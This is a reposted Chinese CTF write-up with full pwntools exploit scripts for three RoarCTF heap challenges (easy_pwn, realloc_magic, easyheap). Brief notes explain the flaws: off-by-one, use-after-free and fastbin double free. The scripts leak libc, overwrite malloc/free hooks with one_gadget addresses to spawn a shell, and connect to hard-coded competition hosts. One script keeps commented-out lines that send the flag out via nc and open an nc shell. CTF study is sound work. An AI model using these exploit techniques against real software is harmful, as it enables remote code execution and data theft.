RoarCTF Pwn部分赛题WriteUP
2019-10-21 12:10:16 Author: bbs.pediy.com(查看原文) 阅读量:228 收藏

0x01

easy_pwn

程序中故意写了个off-by-one。由于程序使用的是calloc需要注意一下申请是会清空chunk的内容。exp如下:

#coding:utf-8

from pwn import *
import argparse

glibc = 'raw'  # glibc_version
IP = '39.97.182.233' # wait input
PORT = '42253' # wait input
binary = './easy_pwn'
context.binary = binary # wait input
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.terminal = ['tmux','split','-h']
elf = ELF(binary)

io = None
### parse args
parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

### easy program
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

one_gg_223 = [0x3f3d6,0x3f42a,0xd5bf7]
one_gg_227 = [0x4f2c5,0x4f322,0x10a38c]

if args.remote:
    io = remote(IP, PORT)
    if glibc == '2.23':
        libc = ELF("/root/glibc_env/glibc-2.23-binary/libc.so")
    else:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    if glibc == '2.23':
        io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", binary ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})
        libc_bb = io.libs()['/root/glibc_env/glibc-2.23-binary/libc.so']
        libc = ELF('/root/glibc_env/glibc-2.23-binary/libc.so')
    else:
        io = process(binary,  env = env)
        libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
else:
    parser.print_help()
    exit()

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

def debug(bdmsg = ''):
    # bdmsg += 'directory /root/glibc_env/glibc-2.23-source/malloc'
    gdb.attach(io,bdmsg)

def magic(offset):
    global __malloc_hook,system,libc_base,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('libc_base',libc_base)
    __free_hook = libc_base + libc.symbols['__free_hook']
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    lg('__malloc_hook',__malloc_hook)
    system = libc_base + libc.symbols['system']

def add(sz):
    sla(":","1")
    sla(":",str(sz))

def edit(idx,sz,con):
    sla(":","2")
    sla(":",str(idx))
    sla(":",str(sz))
    sa(":",con)

def free(idx):
    sla(":","3")
    sla(":",str(idx))

def show(idx):
    sla(":","4")
    sla(":",str(idx))


def exploit():
    add(0x88)
    add(0x40)
    add(0x40)
    add(0x30)

    edit(0,0x88 + 0xa,'a' * 0x88 + chr(0xa1))
    free(1)
    add(0x40)
    show(2)
    magic(0x3c4b78)
    add(0x40)

    add(0x38) # 5
    add(0x38) # 6
    add(0x68) # 7
    add(0x38) # 8
    free(7)
    edit(5,0x38 + 0xa,'a' * 0x38 + chr(0xb1))
    free(6)
    add(0xa1) # 6
    edit(6,0x48,'a' * 0x30 + p64(0x0) + p64(0x71) + p64(__malloc_hook - 0x23))
    add(0x60)    
    add(0x60) # 9
    realloc_hook = libc_base + libc.symbols['realloc']
    lg('onegg',one_gg_223[1] + libc_base)
    edit(9,0x18 + 3 , '\x00' * (0x3 + 0x8) + p64(0x4526a + libc_base) + p64(realloc_hook + 0x0))
    # edit(5, 0x18+3, 'aaa'+p64(0)+p64(libc_base+0xf1147)+p64(realloc+4))
    sl("1")
    sleep(0.3)
    sl("123")


    io.interactive()
if __name__ == "__main__":
    exploit()#
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

realloc_magic

该题考点是realloc的特性,分配0 size的时候会返回0x0。存在uaf。参考这篇文章。exp如下。

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = '39.97.182.233'
PORT = '38664'
binary = './realloc'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x,timeout = 0.2)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

libc_base,__malloc_hook,system = None,None,None

def magic(offset):
    global libc_base,__malloc_hook,system,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('base',libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    __free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']


def debug(msg=""):
    pwnlib.gdb.attach(io,msg)

def add(sz,con):
    sla(">>","1")
    io.sendlineafter("Size?",str(sz))
    sa("?",con)

def free():
    sla(">>","2")

def magic_():
    sla(">>","666")

def exploit():
    # add(0x80,'a')
    # free()
    # free()
    # add(0x80,p64(0xdeadbeef))
    # magic_()
    # add(0x80,'a')
    # magic_()
    # add(0x80,'123')


    # add(0x90,p64(0xdeadbeef))
    # add(0x0,'')
    # add(0x80,'')


    add(0x70,'a')
    add(0x0,'')
    add(0x100,'a')
    add(0x0,'')
    add(0xe0,'a')
    add(0x0,'')
    add(0x100,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57')
    # debug()

    add(0x0,'')

    add(0x100,'a')
    add(0x0,'')

    add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak
    magic(0x3ed8b0)
    magic_()

    add(0x70,'a')
    add(0x0,'')
    add(0x110,'a')
    add(0x0,'')
    add(0xf0,'a')
    add(0x0,'')
    add(0x110,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8))


    add(0x0,'')

    add(0x110,'a')
    add(0x0,'')
    lg('__free_hook',__free_hook)

    one_gg = libc_base + 0x4f322
    add(0x110,p64(one_gg)) # leak
    sl("2")

    success(" get shell ")
    # debug()





    # add(0x180,chr(0) * 0x78 + p64(0x111) + p64(__free_hook))
    # add(0x0,'')
    # add(0x30,'a')
    # add(0x0,'')

    # one_gg = libc_base + 0x4f322
    # add(0x30,p64(one_gg))


    io.interactive()


if __name__ == "__main__":
    while(True):
        io = remote(IP, PORT)
        try:
            exploit()
            io.close()
        except Exception as e:
            continue
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

easyheap

程序中存在uaf漏洞,不过只有一个用来存在ptr。然后发现有个build_free,build申请0xa0的size。free也存在uaf。这样其实就想到fastbin double free。先申请一个0xa0大小的chunk。释放会进入unsorted bin。然后用外面的申请两个0x68,两个存放ptr的都指向了0x68的size大小的chunk。然后申请到bss段。用name伪造size。exp如下:

#coding:utf-8
#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = 'localhost'
PORT = '2333'
binary = './pwn'

context.binary = './pwn'
io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    pwnlib.gdb.attach(io,msg)
    raw_input()


def add(sz,con):
    sla(">>","1")
    sla("size",str(sz))
    sa("content",con)

def free():
    sla(">>","2")

def build(con):
    sla(">>","666")
    sla("?","1")
    sa("content",con)

def _free():
    sla(">>","666")
    sla("?","2")

def debug(msg=''):
    gdb.attach(io,msg)

def exploit():
    sla("name",flat(0x0,0x71,0x602060))  # fake size
    sla("info",flat(0x0,0x21))

    build("aaa")
    add(0x18,'bbb')
    _free()

    add(0x68,'ccc')
    add(0x68,'ccc')
    free()
    _free()
    free()

    add(0x68,p64(0x602060))
    add(0x68,'ddd')
    add(0x68,'eee')
    add(0x60,p64(0x602060) + 'a' * 0x10 + p64(elf.got['__libc_start_main']) + p64(0xDEADBEEFDEADBEEF))


    io.sendlineafter(">>","3") # show
    main = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    base = main - libc.symbols['__libc_start_main']
    lg('base',base)
    __malloc_hook = base + libc.symbols['__malloc_hook']

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline(p64(__malloc_hook - 0x23))

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline('junk')
    time.sleep(0.3)

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    onegg = base + 0xf1147
    io.sendline('a' * 11 + p64(onegg) + p64(base + libc.symbols['realloc'] + 20))

    sleep(0.3)
    io.sendline("1")
    sleep(0.3)
    io.sendline("123")
    sleep(0.3)

    # io.send("cat flag | nc localhost 2333")
    # io.send("nc -e localhost 2333")
    # io.send("sh flag;")
    # io.send("cat flag >&0")
    # io.send("exec 1>&0; cat flag")
    # http://m4x.fun/post/play-with-file-descriptor-3/

    # debug("b *__realloc_hook")
    io.interactive()

if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

[公告][征集寄语] 看雪20周年年会 | 感恩有你,一路同行


文章来源: https://bbs.pediy.com/thread-255095.htm
如有侵权请联系:admin#unsafe.sh